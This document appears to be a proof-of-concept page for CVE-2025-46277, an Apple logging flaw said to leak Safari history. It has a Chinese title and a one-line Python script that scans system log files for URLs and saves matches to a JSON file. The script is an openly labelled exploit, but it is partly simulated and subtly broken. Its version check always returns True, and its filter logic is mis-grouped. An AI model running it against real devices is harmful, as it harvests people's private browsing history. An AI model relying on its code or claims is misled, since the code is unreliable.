CVE-2025-46277: Apple iOS/macOS等系统日志记录敏感数据未脱敏导致Safari历史记录泄露

# CVE-2025-46277 PoC - Safari History Access via Log Files # This PoC demonstrates the vulnerability where an app can access # user's Safari history through unredacted system logs import os import sys import json from datetime import datetime def check_vulnerable_version(): """Check if current system version is vulnerable""" # Simulated version check vulnerable_versions = { 'iOS': ['< 26.2'], 'iPadOS': ['< 26.2'], 'macOS': ['< 26.2'], 'watchOS': ['< 26.2'] } return True # Assume vulnerable for demonstration def read_safari_logs(): """ Read Safari-related logs from system log directory In vulnerable versions, logs contain unredacted browsing history """ log_paths = [ '/var/log/system.log', '~/Library/Logs/CoreSimulation/Safari', '/private/var/log/asl/Safari.asl' ] extracted_history = [] for log_path in log_paths: expanded_path = os.path.expanduser(log_path) if os.path.exists(expanded_path): try: with open(expanded_path, 'r', encoding='utf-8', errors='ignore') as f: for line in f: # Look for Safari history patterns in logs if 'Safari' in line and 'URL' in line or 'history' in line.lower(): # Extract potential history entries if 'http' in line or 'www.' in line: extracted_history.append({ 'timestamp': datetime.now().isoformat(), 'source': log_path, 'data': line.strip() }) except PermissionError: print(f"[-] Permission denied: {log_path}") except Exception as e: print(f"[-] Error reading {log_path}: {e}") return extracted_history def exploit_cve_2025_46277(): """ Main exploitation function for CVE-2025-46277 Demonstrates accessing Safari history through unredacted logs """ print("[*] CVE-2025-46277 PoC - Safari History Access via Logs") print("[*] Target: Apple iOS/macOS/iPadOS/watchOS < 26.2") print("-" * 60) if not check_vulnerable_version(): print("[+] System appears to be patched") return None print("[*] Attempting to read Safari-related system logs...") history_data = read_safari_logs() if history_data: print(f"[+] Successfully extracted {len(history_data)} history entries") print("\n[+] Sample extracted data:") for entry in history_data[:5]: print(f" - {entry['data']}") # Save extracted data output_file = 'extracted_safari_history.json' with open(output_file, 'w') as f: json.dump(history_data, f, indent=2) print(f"\n[+] Data saved to: {output_file}") return history_data else: print("[-] No Safari history data found in logs") return None if __name__ == '__main__': exploit_cve_2025_46277()